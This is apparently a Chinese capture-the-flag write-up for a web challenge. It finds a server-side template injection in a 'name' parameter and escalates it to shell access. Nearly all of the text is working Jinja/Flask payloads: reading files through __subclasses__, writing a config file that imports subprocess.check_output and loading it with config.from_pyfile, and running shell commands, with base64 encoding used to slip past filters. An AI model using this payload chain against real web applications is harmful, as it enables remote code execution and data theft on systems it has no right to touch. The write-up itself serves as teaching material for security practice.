练习平台地址
竞赛中心
题目描述
题目内容
很直接就是要fuzz参数
参数字典
dpaste/eH2Z1 (Plain Text)
BP爆破参数
发现存在name参数
尝试sql注入
发现输入啥就回显啥,猜测是模板注入
测试是不是模板注入
虽然9*9没有被执行,但是config执行了,说明是python模板注入
python模板注入
读版本文件
?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/issue').read() }}
向SSTI漏洞注入
?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
向config对象添加一个新项
?name={{ config.from_pyfile('/tmp/owned.cfg') }}
通过向SSTI漏洞注入来检测是否成功
?name={{ config['RUNCMD']('/usr/bin/id',shell=True) }}
成功返回
注意:小括号单引号中的内容即为我们可以使用cmd执行的代码
构造payload
?name={{ config['RUNCMD']('ls',shell=True) }}
如果执行失败可能是进行了拦截
将要执行的命令base64编码后再尝试
ls
?name={{ config['RUNCMD']('`echo bHM= | base64 -d`',shell=True) }}
?name={{ config['RUNCMD']('`echo bHMK | base64 -d`',shell=True) }}
ls -al
?name={{ config['RUNCMD']('`echo bHMgLWFs | base64 -d`',shell=True) }}
?name={{ config['RUNCMD']('`echo bHMgLWFsCg== | base64 -d`',shell=True) }}
cat var/www/html
?name={{ config['RUNCMD']('`echo bHMgLWFsIC92YXIvd3d3L2h0bWwK | base64 -d`',shell=True) }}
cat var/www/html/fl4g
?name={{ config['RUNCMD']('`echo Y2F0IC92YXIvd3d3L2h0bWwvZmw0Zwo= | base64 -d`',shell=True) }}
flag
flag{7539a3bf-2b2e-4069-a889-f3df79f69a8b}
注释事项
1.如果输入啥就会回显啥,那么大概率是模板注入
2.如果模板注入直接执行命令不行,可以尝试进行base64编码